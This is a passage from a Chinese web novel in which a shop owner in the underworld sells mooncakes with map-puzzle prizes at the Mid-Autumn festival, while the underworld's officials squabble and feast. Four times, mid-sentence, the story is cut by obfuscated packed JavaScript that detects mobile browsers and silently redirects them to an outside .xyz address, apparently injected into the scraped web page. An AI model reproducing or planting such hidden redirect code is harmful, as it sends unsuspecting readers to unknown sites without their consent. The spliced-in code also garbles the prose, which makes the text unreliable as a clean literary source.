“现在？”刘语凡又吃了一口，“哪样？” “就像这样。”沈婵娟用手勾起自己的嘴角，“微笑。” 刘语凡没忍住笑了笑。 沈婵娟从善如流：“烹饪的心情会反应到食物上，如果厨师不高兴，怎么能做出让人愉悦的甜点呢？” 刘语凡舔了舔嘴唇，将信将疑。 不过，师傅做的红豆泥，真的很甜。 司殷皮笑肉不笑地看着刘语凡，又默不作声地去捏内馅。 他包出来的内馅大小均匀，放在一起几乎是一个模子里刻出来的。 沈婵娟很满意：“捏得很好。” 司殷不动声色地笑了笑：“所以，沈老板刚刚是要我做什么？” 沈婵娟这才想起未完的话题：“中秋要忙店里的事情，不如十六来我家吃饭？” 司殷毫不犹豫：“好。” “这么爽快？”沈婵娟揶揄地看着他，“看来你也对我的厨艺垂涎已久。” 司殷点点头，又摇摇头。 “这是？”沈婵娟被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422326|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作搞得有点懵。 “不是对你的厨艺垂涎已久……”司殷顿了顿，咽下了本来要说的话，“不过你既然问我，应该是想我去？” 他的本事就是把看起来很正常的话说得无比暧昧，偏偏沈婵娟又不能反驳。 不过今天，沈婵娟也没打算反驳。 上次他那些话，可是打了个沈婵娟措手不及。 沈婵娟往边上走了一步，如此一来，他们的肩膀几乎贴在一起。 她故意压低了声音：“是呀，我想你来。” 司殷放下包好的内馅，尾指轻轻地略过沈婵娟的小臂。 他学着沈婵娟的样子压低了声音：“嗯，所以我来。” * 忙活到傍晚，总算做出一桌子五彩缤纷的月饼。 沈婵娟点了点数量：“今天就做到这吧，明天再继续。” 刘语凡和司殷都没意见。 沈婵娟把收拾的杂事交给他们：“那我今天先走一步，明天见。” “明天见。” “师傅明天见！” 刘语凡和司殷遥遥对视一眼，又都不屑地移开视线。 等到沈婵娟的身影彻底消失在店前，刘语凡深吸一口气，还是开口道：“你知道师傅喜欢什么口味吗？” 司殷挑了挑眉：“我为什么要告诉你。” 刘语凡几乎维持不住面上的表情，底下的拳头握了又松：“你不会是不知道，假装骗我吧？” 司殷理也不理她的激将，收拾好台上的面粉和糖浆，转身就要走。 “喂！你不告诉我，我师傅就会少一个大惊喜的！” 司殷终于饶有兴趣地回过头：“那你告诉我，你要做什么？” 刘语凡叹了一口气，认命地走到他旁边：“算了，告诉你就告诉你，反正这个没你也不行。” …… 听过刘语凡的话，司殷对她总算是和颜悦色了几分。 “沈老板喜欢巧克力味。” 此时的沈婵娟正在云寄锦家中，和小黑小白讨论中秋月饼。 “小沈，”小白打量着沈婵娟的神色，“你这主意虽然看起来可行，但是人类对于阴差大多避而远之，怎么还会购买月饼？” 沈婵娟奸诈一笑：“小白，你们是只可远观，但是月饼却可以亵玩。” 小白云里雾里，但沈婵娟显然并无多做解释的打算，他也就相信沈婵娟。 “云姐，小黑，你们能帮我一个忙吗？” 云寄锦爽快：“当然可以！” 见她爽快，沈婵娟却是无奈地叹了一口气：“云姐，你又不问我要干什么。” “你又不会害我！” “可是你答应我的，别人求你帮忙，要先问清楚。” 自从看出来云寄锦是个对谁都好的热心肠，来找她帮忙的人数不胜数，云寄锦心善，可是沈婵娟难免是担心的。 “知道了知道了，下次一定问，你怎么和我哥一样。”云寄锦没心没肺地笑了笑。 沈婵娟无奈，看着她大大咧咧的样子，没再说什么。 她提了要求，云寄锦和小黑就在书房开工了。 28. 黄金面包 雪白的宣纸在桌面上铺开，小黑笔墨挥洒间，手握哭丧棒的白无常、施展勾魂锁的自己、半面骷髅的黄泉、手握惊堂木的崔珏以及好脾气的南辰纷纷跃然纸上。 根据阴差数量确定好了画幅大小，云寄锦便在画板上画另一张图。 四块大小不一的土地以忘川河相连，又以其为界，分作东西南北四城。 南城湿热，也是地府唯一拥有外海景观的地界，拥有地府唯一的一点阳光，这里有金黄的沙滩和雪白的海浪，还有南城鬼淳朴的笑脸。云寄锦寥寥数笔，便将南城热烈的风貌勾勒出十之七八。 西城面积最广，可惜多是荒芜的土地，因为阴气的侵蚀寸草不生，云寄锦听说上一任鬼相钟爱西城，以自身精血浇灌黄土，遍兴草木。那时候的西城独享盛春，终年姹紫嫣红。 云寄锦画的就是那个草长莺飞的西城——天高地远，流云如烟，屋舍前开满了桃李梨杏，风俯仰而过，便能卷起满城香风与满园春色。 再说北城，这片城面积最小，气温也最为寒冷，不过与人界不同的是，这里无论有多冷，都不会结冰下雪，整座城的建筑都很旧了，一切都显得灰暗而寂静。 云寄锦没有去过北城，但去过华国的东北部，与北城气候最相似的地方。那里的冬天银装素裹，雪如鹅毛一般纷扬而落。她发自内心地觉得，这样暗淡简朴的北城，是需要一场轰轰烈烈的大雪的。 于是云寄锦笔下的北城有了呼啸的风、锋利的冷松、典雅的北城建筑和晶莹的雪。 最后是熟悉的东城。 云寄锦在这里住了二十年，几乎对它的架构了然于心。 可是。 可是。 她出神地遥望着窗外，迟迟无法下笔。 东城有热闹的集市，有独一无二的百鬼梧桐，还有最都市的高楼大厦和最多的鬼口。但它又不只是这样，东城还有满街老式的红灯笼、隐于闹市的亭台楼阁、雕梁画栋。 究竟该从何处下笔，才能使这满腔思绪不落空？ 一双青白修长的手出现在云寄锦眼前。 是小黑的手。 他接过那支不太熟悉的笔，在电子屏幕上勾勒起来。 他用暗黄做开阔的马路，用棕黄做精美的中式建筑，用亮黄做中元被朝阳照得金黄的梧桐树，用柠檬黄做热闹的集市，用橙黄做闪烁的灯笼，这些色阶丰富的黄色，构成了小黑笔下浓淡相宜的东城。 放大的屏幕画布被缩小至容纳四城，地府的四季就完整地平铺在画纸上。 东南西北。 春夏秋冬。 云寄锦喜出望外：“好！好得不得了！东城好，中秋的东城更好！” 沈婵娟和小白听到他们的声音，也赶来看新鲜出炉的画。 她素来知道他们画得好，可是亲眼看到时，又觉得画得比自己想象得还要好。 小白轻哼了一声，表示对云寄锦暂时的认可。 他眼尖地看到桌上五张大小不一的纸片，又急匆匆地跑去桌前看。 画上的他眉眼英气又不失可爱，手上的哭丧棒挥舞得虎虎生风，显得通身气势非凡。 小白不住地点头，对此很是满意。 而后的小黑自己是一如既往的冰块脸，崔珏倒是温文尔雅，只是半面的黄泉…… 小白咬牙切齿，小黑为什么把他画得这么帅！ 继续往下看，代表北城的肖像出乎他意料，竟然是满脸笑容的南辰。 “你还说我，小黑，”小白得逞地拿起那张画纸，“你自己也没聪明到哪去嘛。” 阴差的人选是沈婵娟拟定的，小白以为自己刻薄的是小黑，没想到无意间刻薄了她。 不过沈婵娟倒是不恼：“为什么这么说？” 小白颇有些拿腔作调地清了清嗓：“因为北城的城主不是他。” “啊？！” 云寄锦和沈婵娟双双震惊。 小白已经说到这份上，小黑只能点点头：“的确。” “那你刚刚应该告诉我。”沈婵娟不好意思地挠了挠头，“我也是听说北城的城主叫做南辰。” “不是你的错啦小沈，北城的鬼也只知道南辰。”小白仗义地拍了拍她。 小黑微微颔首：“不错。” “他的确是城主，不过是代理城主。” “代理城主？！”云寄锦疑惑，“可北城的鬼都说他是城主。” 小白终于找到了压云寄锦一头的地方，他故作神秘地摇摇手指，扬眉吐气地卖弄起来：“非也非也，北城的鬼认为他是城主，不过是因为真正的城主从不露面。” 见沈婵娟与云寄锦齐刷刷地盯着他，小黑也并没有阻止的意思，小白的思绪越飘越远，飘到了几百年前，他第一次见到北潇湘的那天。 早年地府鬼丁稀少，管理起来倒还算省力，只是随着有业的特殊鬼魂越来越多，地府也不得不继续招纳阴差。 地府的阴差分为两类，一类是像北潇湘和黄泉这样，伴忘川河而生的灵体，另一类则是像小黑小白一样，抹去生前记忆的人类鬼魂。 黑白无常入地府的时间比北潇湘晚得多。 具体有多晚呢？晚到他们从没有见过地府的雪。 北潇湘那时候看起来不过十六七岁，就已经是管理东城和北城的大阴差了，她身后无时无刻都跟着一个谄媚的南辰，对谁都是笑脸相迎的样子，对北潇湘更甚。 阴差需要自己称手的武器，北潇湘便领着他们去罗刹殿，取走了备好的哭丧棒和勾魂锁。 从她手里接过哭丧棒的时候，小白清晰地知道，自己连北潇湘的指甲盖都没碰到。 可是那一瞬间，彻骨的寒意从手指蔓延到手掌，冷得骨头都像被冻住了一样。 低下头，才发现手掌上已经结出一层薄薄的冰霜。 对面的北潇湘毫无歉意地看了他一眼，连一声“抱歉”也没有说。 南辰熟练地走到她身前，连连给小白道歉，还伸手将他手上的冰层融化，确保一切无虞。 这世界上怎么会有这么不讲理的女人？ 小白被北潇湘气得喷火，却又拿她无可奈何。 斗转星移，世事变迁，黑白无常在地府任职的时间越来越久，久到他们结识了人界来的崔珏，打下手的牛头马面和自恋的黄泉，甚至见证了几任鬼相的爱恨情仇，独独与北潇湘联系甚浅。 小白说到这里，脸都气得通红，义愤填膺道：“你们没见过她！要是见过她，你们就会知道这世界上居然还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436632|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比小黑更臭的脸！” 话音未落，小白的头已经被小黑毫不手软地按住，他奋力想要摆脱的样子像一个张牙舞爪的大馒头。 沈婵娟和云寄锦眼观鼻鼻观心，忍笑忍得很辛苦。 恰好此刻，厨房的烤箱适时地发出“叮”的一声。 二人先后跑到厨房，在小白赶来前笑了个痛快， 小白好不容易从小黑的魔爪里挣脱出来，赶到厨房时，那个漂亮的八角形面包已经脱好模了。 面包体被烤得金黄而蓬松，顶部呈现出深棕的巧克力色，沈婵娟正在装饰，细白的糖粉纷扬而落，像极了一场新雪。在顶部挤上漂亮的奶油花，放上一颗甜草莓后，显得小巧而不失精致，美丽且不乏可爱，轻易就将小黑迷得神魂颠倒。 太美了，也太适合画画了。 不过，小黑有闲情逸致的雅兴，另外三个人却没有。 小白毫不客气地叉起小面包，外层的酥皮和叉子接触时，发出“次啦”的酥脆声音。 顶部的草莓很甜，还带着馥郁的清香，混合着奶油浓郁的奶味和香甜口感，叫人胃口大开。面包体的外层很脆，顶部的焦香恰到好处，细微的糖粉甜味正如冬日的细雪，沉默而恰到好处。 一时间，什么城市什么北潇湘都已经被小白抛之脑后了，他唯一的想法是： 我要再吃一个！ 见状，小黑嫌弃地坐远了一些，手上动作却不停，用色彩缤纷的铅笔在纸上涂画。他的速度很快，不多时，一个惟妙惟肖的“潘多洛”就出现在画纸上。 “这个面包叫做‘潘多洛’？”小白放下叉子，“好像人的名字。” 沈婵娟失笑：“因为是音译的名字。” “音译？”小白顿了一下。 人类世界到底有多少稀奇古怪的叫法？音译又是什么意思？ 小黑和云寄锦坐在他左右，纷纷一言不发。 小白：原来只有我这么无知(?_?; 他决定以后更加勤奋地学习人类术语。 沈婵娟年纪不大，但已经当过不少人的老师了，小白在想什么，她猜也能猜个七七八八。 “潘多洛的原名叫做PanedeOro，你听——”沈婵娟重复了一遍，“像刚刚说的‘潘多洛‘吗？” 小白像见识到新大陆一样，兴奋地睁大了眼睛：“很像！” 他一下子知道什么叫做“音译”了！ 沈婵娟笑了笑，从善如流：“人界有很多国家，不同国家的人说不同的语言，‘Oro’这个词，在这份甜点的发源地，意味着黄金，所以它也叫黄金面包。” 小白了然地点点头：“你们人类的东西还真是学无止境。” “嗯。”沈婵娟轻轻点了点头，“所以，不知道潘多洛就是PanedeOro，Oro就是黄金，都不要紧。” 她在说话时贴心地撇开了头，看向了小黑的画笔。 可是小白知道，这句话是说给他听的。 不知道番茄炒蛋没关系，不知道七夕巧果也不要紧，今日不知道音译也没关系。 小白有所顾虑的，沈婵娟都不介意。 面子也好，好奇也罢，沈婵娟只会笑着看向他，说“没关系”，说“我告诉你”。 29. 玉米排骨 沈婵娟将“地府月饼”的名头打出去，中秋的预热活动就算开始了。 东城的客人们自然是不着急的，中秋佳节，赏月观灯，乏了便在沈婵娟的小店内点上月饼，喝点小酒吃点小菜，最美不过。 其他城的客人们就没有东城鬼这般悠哉了，中秋那日除了跑外送的配送员，大多数人都是不外出的。更何况跨城来回耗时太久，为了一叠月饼在中秋跑去半天，实在是很不划算的。 因此，沈婵娟收到了不少预订单，代王湘和李思思来的魏湉就是其中一个。 “沈老板，我来替客人订几箱月饼。” 沈婵娟一听，便知是个大单子。中秋除了阖家团圆，作为生意的谈资也不错。生意做得越大，要联络的人越多，订的月饼自然也越多。 魏湉试了莲蓉、蛋黄、红豆、五仁、鲜肉、巧克力等十来个馅，一一将口感和名称发给王湘选定。 那边一时半会也没个回信，魏湉便干脆坐下，点了一份干炒牛河和玉米排骨汤。 干炒牛河一如既往鲜香嫩滑，玉米块清甜，排骨煮得烂，魏湉便蘸些酱油增味，吃起来倒也很香。 汤表面很清亮，油沫不算多，第一口热汤先是玉米的香味，而后才是排骨炖出的荤香，这汤讲究的不是浓郁，而是清中有味，怡然自得。 半碗下去，实在是暖腹热身。 抬头一看，沈婵娟又在给其余客人讲解月饼的花样，一个套盒内有五种花样，寻常的就是印了“蟾宫折桂”、“阖家欢乐”这些，讨个口彩。 另一个套盒则是沈婵娟推出的地府特供，上面的花样是各城阴差的武器式样，黑白无常自不必说，西城崔珏的是判官笔，南城黄泉的是青玉眼，北城则还是用了南辰的落红缨。 魏湉的疑惑不比刘语凡少，阴差虽受人敬仰，但大多人对于他们的武器，那叫一个避之唯恐不及。 沈婵娟为什么把这一套武器，做成月饼式样？ 魏湉走过去凑热闹，只见沈婵娟手里的月饼正面是判官笔，另附了一张“明公正气”的描金纸签。 再看另一份，纸签上则是“落笔有理”的字样。 崔珏在地府以公正闻名，“明公正气”自不必说，代表的是有业当公判，善恶有明说。而另一张“落笔有理”则是说他的判官笔一落，爱恨嗔痴、憎会别离，都自有分说。 买“明公正气”的人里有被崔珏断过案的鬼魂，也有单纯仰慕他为人或是心向公正的鬼魂。“落笔有理”的签卖得最好，一则是崔珏作为地府公务考试的判官，地位类似人界的孔夫子，俗话说吃啥补啥，吃下判官笔的式样，也许有考试前保佑考生的增效。 一则是与文字打交道的鬼魂，无论是写作、算账、明理还是陈情，都希望讨个落笔有理有神的好彩头。 签的内容像判词一般，魏湉觉得有趣，便又去看其他阴差的签。 黄泉的青玉眼月饼附带了是“明镜高悬”和“明察秋毫”的纸签，魏湉没和黄泉打过交道，但这对青玉眼确实久负盛名。 相传青玉眼是女娲补天剩下的两块青色石料，意外落入忘川河后，承水之灵化作地府黄泉。据说只要黄泉看过一眼，任何猫腻都逃不过他的眼睛。 “对这套月饼感兴趣吗？” 魏湉回头，发现是订购的客人散了大半，沈婵娟便闲下来和她说几句话。 “这月饼很有意思，签也写得很好。” “我替写签的人谢谢你，至于月饼——”沈婵娟狡黠地勾了勾嘴角，“你的赞美我就不客气地收下了。” 魏湉也笑了笑：“沈老板，你这套月饼多少钱一盒？” 沈婵娟报了个数字。 一盒手工月饼加上纸签，这个价格倒是不算贵，不过对于魏湉来说，花起来也是心痛的。 魏湉忍痛要了一盒地府特供和一盒阖家团圆版，沈婵娟给她打包好，问她什么时候取走。 “中秋吧，”魏湉想了想，“中秋单子多，我还来东城的。” “好。” 沈婵娟说完，魏湉便看她利落地将月饼盒放入礼袋中，标上自己的姓名和联络方式。 姓名那一栏，她写的是“湉湉”。 魏湉轻轻呼出一口气。 其实另一个理由她没有说，中秋那日，虽然不可避免要满城奔波，但魏湉还是希望，能有一个借口，让自己也离中秋再近一点。 对她来说，沈婵娟的小店的烟火气最像团圆。 “好了！”沈婵娟放下笔，“中秋节那天要不要吃点其他菜？干炒牛河信徒。” 见她有意揶揄，魏湉笑了笑：“吃干炒河粉怎么样？” 沈婵娟失笑：“你就这么喜欢干炒粉吗？” “嗯，”魏湉认真地点点头，像是想起了什么事情一般，脸上的笑容更大了一些，“我妹妹也和我一样喜欢。” “妹妹？” 魏湉点点头，手机却在此时频繁震动起来。 “各种馅的月饼都要一百五十个，礼盒月饼拿五十盒，地府特供八十盒，三十盒你帮我拆一下，看看有没有完整的地图。” 前面的要求魏湉都看懂了，但是完整的地图是什么？ 魏湉将信息展示给沈婵娟，她将王湘的要求都备好，剩余的库存就寥寥无几了。 至于地图—— 沈婵娟将一盒月饼递给魏湉：“拆开看看就知道了。” 魏湉心内好奇，三下五除二就拿出月饼，才发现包装盒底部的雕花木画。 那是一块手掌大的木片，周围都已被磨得平滑，摸起来十分细腻。上面画着一个她全然陌生的西城：如今荒芜的土地上结满了大批的麦穗和果实，城内花团锦簇，生机勃勃。 魏湉伸手摸了摸雕出来的纹理，土地的质感冰凉而粗粝，和西城的土很像。她不自觉地用力了些，仿佛如此便能透过这块木料，探寻到百年前西城的春天。 “背面还有呢。” 沈婵娟的话打断了魏湉的思绪，她依言翻过木画，发现背面是一个温和的Q版小人：头戴官帽、绯红官袍、手握惊堂木，不用说，正是西城无人不晓的判官崔珏。 如此一连拆了五六盒，月饼底部都送了一块雕花木画，她运气不错，重复的不多，将四城之景拼凑在一起，当真是美不胜收。 魏湉利索地拼好图，便将图片发给了王湘。 对面回复得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453986|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快：“好好看啊！帮我看看背面是什么奖？” 魏湉依言翻过木画，只见背后不知何时浮现出一行金字：桂花糕两个。 王湘：“我就知道一定是三等奖！！可恶的商家！” 可恶的商家本人在对面毫无所觉，还在为新客人讲解不同的口味和礼盒。 “五仁！我钟爱的五仁！妈妈来接你回我肚子里了！” “这黄泉的怎么都卖完了，老板还补货吗？” “这个地府特供有意思，我们买几盒玩玩。” “礼盒拼图倒是好凑一组，不过我看好多人中的都是三等奖桂花糕啊？” 话音未落。 “我中了！我中了！” “是什么啊！！” “是八折券和一盒闪电泡芙！！” “求转让闪电泡芙，上次吃完我惦记了好久啊啊啊——” “同求！！！” 如此预热几天，借了阴差话题的东风，四城内月饼之风颇盛。 不仅东城论坛上换图帖频繁，便是连另外三城，也有了不少沈记美食的红贴： 【地府特供月饼地图换物集中贴】 【涛一涛东城爆火的美食店】 【有没有人脉能问问沈记美食老板开不开外卖？】 【求沈记美食开到西城教程】 【以前不爱吃真的是因为不好吃……】 低下不乏质疑之声： “最近怎么这么多别城的帖子，店主是不是下水军了啊？” “我也觉得……就她一个东城的店这么红，谁说没有外力啊？” “对啊，还搞了阴差相关元素，是不是和阴差有关系还不好说。” 吴诗珂上了一天班，好不容易有时间刷个论坛放松，给自己看得又是一肚子火。 键盘被她按得噼里啪啦响： “楼上啥意思啊？抹黑了店主不够连阴差也要抹黑，南城鬼怎么好意思槽黄泉的？” “这家店我吃过好多次，真的完全对得起这些红贴，大家有时间都可以去东城吃吃看，入股不亏的！！” 唇枪舌战到深夜，吴诗珂精神百倍，手机上突然弹出一条消息，说是订购的月饼到了。 吴诗珂立刻抛下战场，迫不及待地开始抽礼盒地图。 第一盒，南城碎片。 第二盒，南城碎片。 第三盒，南城碎片。 ？ 吴诗珂翻来覆去看了好几遍，确定包装上写的的确是“随机”无疑，只好抖着手又去拆下一盒。 一连拆了八盒，竟然有五张南城碎片，吴诗珂想起自己至今未被通过的移城申请，苦笑着摇了摇头。 黄泉虽好，但美食不容辜负啊！ 所幸之后的倒没有重复，将东南西北四块拼在一起，整块拼图背后便隐隐浮现出一层金光。 吴诗珂心颤地闭了闭眼。 苍天保佑，中个二等奖也好啊！ 她手腕一转，整块地图利落地翻了个面，上面赫然爆发出一阵炫目的金光—— 美食大礼包一份。 吴诗珂有些眩晕，自己这是欧气爆棚，抽中大奖了？ 30. 五味礼包 中秋当日，地府张灯结彩，鬼相的佳节贺礼早早送到了每户家门口，仍附一张“花好月圆”的描金贺卡。 沈婵娟忙着开工，连礼物盒都没打开，就匆匆赶到了百鬼集市。 集市更是热闹非凡，涌动的鬼比平时多了一倍不止，卖花灯的、卖字画的、卖小零碎的店前人头攒动，远远望去十分壮观。 但若说最一骑绝尘的，当是梨花巷仲7号的沈记美食。 沈婵娟的小店面积不小，合理的店内布局也使其能够容纳更多的顾客，不过在今天的客流量前，还是显得相形见拙。 人太多了。 接连不断的顾客甚至在店前排起队来，沈婵娟无意让他们苦等，便分发了号码牌叫号。 如此客流散去大半，剩下的客人便在门口坐下，吃着店主送来的零食和水果。 黄泉全副武装地遮好了脸，将一双碧眼化作深绿色，隔着口罩将一杯咖啡饮尽。 咖啡倒是极普通的，香味不重，微微发苦。 他没尝过这种古怪的棕色液体，不过味道倒还算不错，只是黄泉不喜欢那种微微的焦味，总想用什么东西盖住。 看来看去，他便将主意打到了不远处的“小山堆”上。 那小山由金黄的薄片搭成，上面洒着红色的细粉，在黄泉看来，像忘川河水溅起的飞沫。 忘川河水可不好喝，黄泉对此深有体会。 不过嘴里的焦香迟迟不肯散去，比起忘川河水的滋味，他更不想忍受这个。 黄泉用念力带走了一小盘薄片，盘子在空中七扭八拐地转了好几个弯，最终轻轻落在他青白的指尖上。 “诶你们看！！” “好漂亮啊！！” 众人纷纷抬头望去，淡黑的天幕已被灯火照得明亮，此刻分明无星无月，但在这一方沈记店前，天幕仿佛低垂，将银汉倾洒其下。 漫天光点犹如妙笔生花，拼出一幅彩鸟衔月之画，而后如雪一般轻轻落下。 “我去！这光点居然是实质的阴时！” “这也太有实力了，不愧是阴差。” “这是刚刚那个遮着脸的阴差弄的吗？怎么做到的啊！” “用念力吧？我们这种普通鬼肯定做不到。” 黄泉享受着众人倾佩艳羡的眼神，毫不脸红地吃起了薄片。 他不知道这金黄的薄片早已风靡人界，它的名字无人不知无人不晓—— 薯片。 入口的土豆片酥脆万分，忘川河颜色的细粉带来的不是腥冷，而是另一种浓郁的味道，酸甜可口，香气袭人，仿佛能透过它尝到柔软多汁的番茄。 不多时，那叠薯片已不见踪影，黄泉端详着尚有残渣的小盘，对此十分满意。 和昨日收到的月饼一样，都令他非常满意。 黄泉忙着处理南城大大小小的事宜，许是得知了他不会通过这个原因的申请，移城人数渐少，他便也将这美食店抛之脑后。 不过黄泉没想到，沈婵娟倒是自投罗网，送了一盒叫什么地府特供的月饼来。 面对那一盒包装精致的月饼，黄泉嗤之以鼻。 人类，就爱做这些乱七八糟的东西。 礼盒内的月饼又用纸盒装起来，黄泉随手拆了一个，月饼表面泛着回油的光泽，看上去十分松软可口。 黄泉冷笑一声。 油腻。 而再看那上面的图案，笔身由白骨所制，笔头纤毫流畅，骨节处刻有“忠正”二字，是崔珏的判官笔。 盒内还送了一张纸签，描金写的“明公正气”，字字凛然，字字令黄泉恶心。 黄泉叫来简诗简画：“拿去喂狗。” 简诗心直口快：“三头犬哪配吃这么好的东西。” 简画狠狠给了她一个肘击，简诗吃痛，却见简画淡淡道：“遵命，黄泉大人。” 走出殿内，简诗不满道：“这月饼我想吃好久了，就这么拿去喂三头犬啊？！” “它随便吃点边角料得了，还想吃月饼？” “那你刚刚还……” 简画捂住简诗的嘴：“你又不是不知道黄泉和判官那件事，你冲上去犯什么忌讳？” “我想吃嘛……” “得了，在三头犬面前把它吃掉，它鼻子那么灵，肯定能掰两块走。” “聪明啊简画！” 殿内的黄泉对此一无所知，因为他正忙着欣赏自己的英姿。 月饼上的青玉眼并不是单纯的两块绿石头，沈婵娟对此进行了艺术加工，将石头雕成了眼睛的模样，瞳孔的形状是黄泉的面具——一块骷髅头。 黄泉看了又看，又将自己的纸签拿出来，“明察秋毫”四字，深得他心。 这老板怎么这么有眼光。 黄泉大悦，将那晦气的判官笔一丢，更是精神爽朗。 于是又去看随盒附送的四城碎片，恰好是他座下的南城。 那木雕不知用了什么工艺，金黄的沙滩和海浪竟然莹润无比，如美玉一般。黄泉伸出指尖轻抚着海浪的顶端，旁边的南城鬼热情地笑着。 那不是一个具体的人像，而是一个洋溢着笑容的幽灵状的简笔画。 可是黄泉知道，这是南城的鬼，没有人比他们更加热情洋溢。 看着看着，他便也轻轻勾了勾嘴角。 沈记美食前漫天的光点已纷纷散去，吸引了不少人驻足店前。 “真美啊。” “好想再看一遍啊！” “算了吧，阴差要是那么好说话，那还是阴差吗？” “可是我们城主就很好说话啊，移城和拍照除外。” “得了吧，城主哪会……哦，你们南城的，不是所有阴差都是黄泉好吗？” 吴诗珂哼了一声，哪有这些鬼说得这么悬乎？ 她朝黄泉挥挥手：“阴差大人，能不能再来一次啊！” “她疯了吗？哪有和阴差提要求的？” “喏，看到胸针没，她是南城的。” “哦理解了，不过他也不是黄泉啊，这阴差能理她就怪了。” “我也觉得，这阴差怎么可能为了我们再来一次啊……” “唉，要是真能来，这姐是我今天的神。” 话音未落，只见那身型高挑的阴差扬起手，又用念力托起了一盘薯片。 盘底如笔般婀娜成画，先是圆月如银盘，再是梨花巷内小店一间，而后流光作烟火，满簇焰火五彩缤纷。 “真的来啊啊啊啊啊啊啊啊！” “妈呀今天真是遇到好阴差了！” “姐我要一辈子追随你！美死了啊啊啊！” “这也太幸运！快快快，我们许个愿吧！” 此话一出，不少人双手合十，虔诚地朝那空中流光许起愿来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489605|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “希望我赚够阴时早日回家！” “希望能在地府安安稳稳，等到我想见的人。” “希望早日上岸！变成风光的阴差！” “希望明年还能吃到沈老板的美食！” “希望一切顺利！ 如此热闹的场面，便是不少店内的客人都被吸引出来，仰头注视着空中之画。 奔波许久的魏湉便在人潮里，轻轻闭上了眼睛。 她想得没错，沈老板的店里，有热腾腾的饭菜，拥挤的人群，现在还有流光漫天，当真最像团圆。 魏湉呢喃着自己的心愿—— “快一点攒够钱！” 她睁开眼睛，那副巨大的流光图如流星坠落，落到了每个鬼身前。 魏湉想，现在，她有第二个愿望了。 她学着别人的样子去抓面前的光点，那粒光点在手里微微闪动着，而后碎裂成小片，在掌心里拼出一幅花好月圆。 魏湉的眉眼里染上柔和的笑意。 她的第二个愿望是，希望年年有今日，岁岁有今朝。 “我去！这姐不仅胆子大，运气还这么好？！” “我第一次见一等奖啊！！” “合影合影！” “我啥时候能有这种运气啊(T.T)” 最前的吴诗珂拿到了兑换的礼包，便迫不及待地拆开来。 考虑到中奖人口味的不同，沈婵娟特意做了五种不同风味的美食。 所谓酸甜苦辣咸，正好一一对应。 酸礼包内是腌制的话梅、梅干一类，满满一大包，上面洒满了细白的酸粉，见之便叫人唇齿生津。 吴诗珂高兴，便将话梅三三两两地分给周围人，风干的梅子很酸，却绝不会酸得过涩了。 梅子肉不丰，却有其独特的香味，一含入嘴中，先是香，才是酸。用牙齿细细啃掉梅子的果肉，果肉都酸透了，吃得人牙齿发软，嗜酸的人却忍不住一吃再吃。 甜礼包则是甜品为多，闪电泡芙、牛奶软糖、巴斯克蛋糕，吴诗珂一忍再忍，才决定回家再把它解决掉。 不过那边的阴差似乎很喜欢白色的软糖，吴诗珂忍痛分了不少给他。 好阴差应该吃好。 苦礼包内是咖啡和巧克力，咖啡磨成了细细的粉末，不便在此冲泡，巧克力倒是可以直接食用。 色泽醇厚的黑巧苦中带香，入口即化，不像甜口的巧克力一般吃之腻味，反而苦涩丝滑，令人唇齿留香。 辣礼包内沈婵娟放了不少辣度的小零食：微辣的薯片、中辣的劲道辣条、爆辣的卤鸭货、特辣的碳烤鸡翅…… 吴诗珂咽了咽口水，没想到她错过的碳烤鸡翅，居然就这么意外得到了。 咸礼包不好配，但沈婵娟也别出心裁，放了不少腌制的肉脯和酱菜，用来下饭、煮粥都是极好的。 “小姐，您这礼包卖不卖？我花重金收购。” 不知何时，一个戴着口罩的男人走到吴诗珂面前。 她以为是想尝味道的客人，便随手分了些零食给他：“不用不用，这些你拿着吃就好。” 男人眯了眯眼睛，收好后便不着痕迹地离开了。 吴诗珂根本无暇多想。 此刻秋风袭人，笑语萦怀，所有人都仰头期待着夜色降临，明月照拂。 所有人都期待着将至的中秋与幸福。 31. 中秋肥蟹 夜幕低垂，终于明月当空。 